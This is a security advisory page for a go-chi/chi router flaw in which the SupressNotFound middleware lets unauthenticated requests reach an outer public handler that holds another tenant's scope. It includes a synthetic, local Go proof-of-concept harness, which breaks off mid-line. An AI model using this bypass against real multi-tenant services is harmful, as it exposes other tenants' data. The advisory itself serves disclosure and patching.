---
id: "GHSA-rqrp-8cg2-5958"
page: "https://infrastack.ai/live/GHSA-rqrp-8cg2-5958"
kind: "vulnerability"
aliases: ["GHSA-rqrp-8cg2-5958"]
title: "SupressNotFound reuses mutable route state, allowing a mounted request to reach an outer public handler with tenant scope"
severity: "low"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/go-chi/chi/v5", "note": "<=5.4.0", "fixed": ["5.5.0"], "affected": "<= 5.4.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["chi", "go", "multi-tenant", "package", "self-hosted"]
not_affected_if: ["no-suffix-collision", "no-supressnotfound", "outer-route-enforces-auth", "version-5.5.0-or-later"]
published_at: "2026-10-14T13:24:10+00:00"
first_seen_at: "2026-11-09T22:53:32+00:00"
updated_at: "2026-11-09T22:58:57+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/go-chi/chi/security/advisories/GHSA-rqrp-8cg2-5958", "first_seen_at": "2026-11-09T22:53:32+00:00"}]
exploit_sources: []
---

# SupressNotFound reuses mutable route state, allowing a mounted request to reach an outer public handler with tenant scope

Link for people: https://infrastack.ai/live/GHSA-rqrp-8cg2-5958 (this .md is for agents)

The chi router's SupressNotFound middleware mutates shared route state while matching, so a request meant for an authenticated mounted router can be dispatched to an outer public route. If that public route reuses a tenant-aware handler and trusts the mount parameter, an unauthenticated caller can read another tenant's data.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/go-chi/chi/v5 affected <= 5.4.0 fixed 5.5.0

## How to check

- Check the go-chi/chi/v5 version in `go.mod`; affected versions are `<= 5.4.0`.
- Search the code for `middleware.SupressNotFound`.
- Look for an outer public route whose path matches a suffix of a mounted `Route("/{tenant}", ...)` route that uses auth middleware, and whether that handler reads the tenant parameter.

## Fix

- go-chi/chi/v5: `5.5.0`

## Timeline

- 2026-11-09T22:53:32+00:00 ghsa-repo https://github.com/go-chi/chi/security/advisories/GHSA-rqrp-8cg2-5958

## Documents

- [advisory] Vendor advisory: github.com https://github.com/go-chi/chi/security/advisories/GHSA-rqrp-8cg2-5958

## From the sources

### Summary

# SupressNotFound reuses mutable route state, allowing a mounted request to reach an outer public handler with tenant scope

## Summary

In go-chi/chi v5.4.0, `middleware.SupressNotFound` calls `Match` with the live request routing context. `Match` is documented to mutate that context. In the tested collision configuration, the preflight match descends through a mounted router, leaves the mount parameter in `URLParams`, and sets the child suffix in `RoutePath`. The subsequent dispatch uses the changed path against the outer router. Because the outer router also has a public route for that suffix, its handler runs instead of the mounted route, so the mounted child’s authentication middleware is skipped. A separate mounted-only control has the generated outer parameter mount `/{tenant}` but no explicit root `GET /settings` endpoint; without this middleware, authenticated `/acme/settings` reaches the child handler, while with it that request returns 404. This shows a broader mounted-routing failure. The security impact demonstrated here is narrower: it requires a suffix collision and an outer public handler that trusts the retained mount parameter.

A local exact-version reproduction uses `Router.Route`, which creates and mounts a subrouter, with distinct route chains around a shared tenant-aware handler. The outer route serves public-scope data when no tenant parameter exists. The mounted route applies authentication and uses the same handler for tenant data. Normally, unauthenticated `GET /acme/data/42` is denied (401), an authenticated request reaches the mounted handler, and direct `GET /data/42` returns only `tenant=public`. With `SupressNotFound` enabled on the outer router, both unauthenticated and authenticated `GET /acme/data/42` are handled by the outer public route, which receives the retained `tenant=acme` parameter through `Request.PathValue` and `chi.URLParam` and returns the synthetic `acme` resource. The harness observes both APIs; source inspection confirms `chi.URLParam` reads the same retained routing-context parameters. The demonstrated disclosure therefore depends on the application reusing a tenant-aware handler on an outer route that is otherwise public; an outer route that independently enforces authorization would not have this impact.



### Details

## Affected version and source path

- Verified version: go-chi/chi v5.4.0, tag commit 7f9b7448f51d28804fac98c0a17bc2a7cec1079f.
- middleware/supress_notfound.go:18-24 retrieves the live RouteContext, calls Match, then continues normal dispatch.
- mux.go:367-382 documents that Match/Find update the supplied context.
- mux.go:397-398 changes RoutePath while descending into a mounted router.
- mux.go:276-285 shows that `Router.Route` creates a subrouter and mounts it.
- tree.go:383-405 appends matched route parameters to URLParams.
- mux.go:459-491 dispatches using a non-empty RoutePath and calls the standard library's `Request.SetPathValue` with retained URLParams.
- context.go:10-20 and 122-130 show that `chi.URLParam` reads the same retained URLParams from the request routing context.
- Historical source-only comparison found the same `SupressNotFound` implementation in v5.0.12, v5.1.0, v5.2.0, v5.3.0, and the tested v5.4.0: [v5.0.12 source](https://raw.githubusercontent.com/go-chi/chi/v5.0.12/middleware/supress_notfound.go), [v5.1.0 source](https://raw.githubusercontent.com/go-chi/chi/v5.1.0/middleware/supress_notfound.go), [v5.2.0 source](https://raw.githubusercontent.com/go-chi/chi/v5.2.0/middleware/supress_notfound.go), [v5.3.0 source](https://raw.githubusercontent.com/go-chi/chi/v5.3.0/middleware/supress_notfound.go). The older versions were not run. These checks suggest a multi-release affected range, but do not identify the first affected or a fixed release; exact-build runtime evidence is only for v5.4.0.



### Proof of concept

## Reproduction

This `httptest` program uses synthetic data and does not contact an external service. The quoted output was produced with Go 1.26.6 against a clean checkout of exact v5.4.0 tag commit `7f9b7448f51d28804fac98c0a17bc2a7cec1079f`; no module or toolchain download was needed. The verified directory layout is `chi-v5.4.0-preflight/source/` for that checkout and `chi-v5.4.0-preflight/evidence/supress-notfound-scope/{go.mod,main.go}` for the harness. The included `go.mod` uses a local `replace` to `../../source`; it does not fetch chi from the module proxy. To reproduce, place a clean v5.4.0 checkout at the adjacent `source/` path, verify its commit with `git -C source rev-parse HEAD`, and run the command below. Chi v5.4.0's `go.mod` declares Go 1.24; the observed run used Go 1.26.6.

Use the included `main.go` and `go.mod` under `evidence/supress-notfound-scope/`, alongside the exact source checkout in `source/`. The standalone harness requires Go 1.24 or newer:

```text
module example.invalid/supressnotfound-poc

go 1.24

require github.com/go-chi/chi/v5 v5.4.0

replace github.com/go-chi/chi/v5 => ../../source
```

From that directory, run `GOPROXY=off GOSUMDB=off GOTOOLCHAIN=local go run .` to use the local v5.4.0 source without module or toolchain downloads.

```go
package main

import (
	"fmt"
	"net/http"
	"net/http/httptest"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

func requireToken(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		if r.Header.Get("Authorization") != "Bearer local-test" {
			http.Error(w, "auth required", http.StatusUnauthorized)
			return
		}
		next.ServeHTTP(w, r)
	})
}

func servedBy(name string, next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("X-Lab-Handler", name)
		next.ServeHTTP(w, r)
	})
}

func tenantData(w http.ResponseWriter, r *http.Request) {
	tenant := r.PathValue("tenant")
	chiTenant := chi.URLParam(r, "tenant")
	if tenant == "" {
		tenant = "public"
	}
	if chiTenant == "" {
		chiTenant = "public"
	}
	_, _ = fmt.Fprintf(w, "synthetic resource: tenant=%s chi-url-param=%s id=%s\n", tenant, chiTenant, r.PathValue("id"))
}

func makeRouter(suppress bool) http.Handler {
	root := chi.NewRouter()
	if suppress {
		root.Use(middleware.SupressNotFound(root))
	}

	root.Route("/{tenant}", func(mounted chi.Router) {
		mounted.Use(requireToken)
		mounted.Get("/data/{id}", func(w http.ResponseWriter, r *http.Request) {
			servedBy("mounted-authenticated", http.HandlerFunc(tenantData)).ServeHTTP(w, r)
		})
	})
	root.Get("/data/{id}", func(w http.ResponseWriter, r *http.Request) {
		servedBy("root-public", http.HandlerFunc(tenantData)).ServeHTTP(w, r)
	})
	return root
}

func makeChildOnlyRouter(suppress bool) http.Handler {
	root := chi.NewRouter()
	if suppress {
		root.Use(middleware.SupressNotFound(root))
	}
	root.Route("/{tenant}", func(mounted chi.Router) {
		mounted.Use(requireToken)
		mounted.Get("/settings", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("X-Lab-Handler", "mounted-authenticated-settings")
			_, _ = fmt.Fprintf(w, "synthetic settings: tenant=%s\n", r.PathValue("tenant"))
		})
	})
	return root
}

func request(h http.Handler, path, token string) {
	req := httptest.NewRequest(http.MethodGet, "http://local.invalid"+path, nil)
	if token != "" {
		req.Header.Set("Authorization", "Bearer "+token)
	}
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	fmt.Printf("%s token=%t => %d served-by=%q body=%q\n", path, token != "", rec.Code, rec.Header().Get("X-Lab-Handler"), rec.Body.String())
}

func main() {
	fmt.Println("without SupressNotFound:")
	h := makeRouter(false)
	request(h, "/acme/data/42", "")
	request(h, "/acme/data/42", "local-test")
	request(h, "/data/42", "")

	fmt.Println("with SupressNotFound:")
	h = makeRouter(true)
	request(h, "/acme/data/42", "")
	reques

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
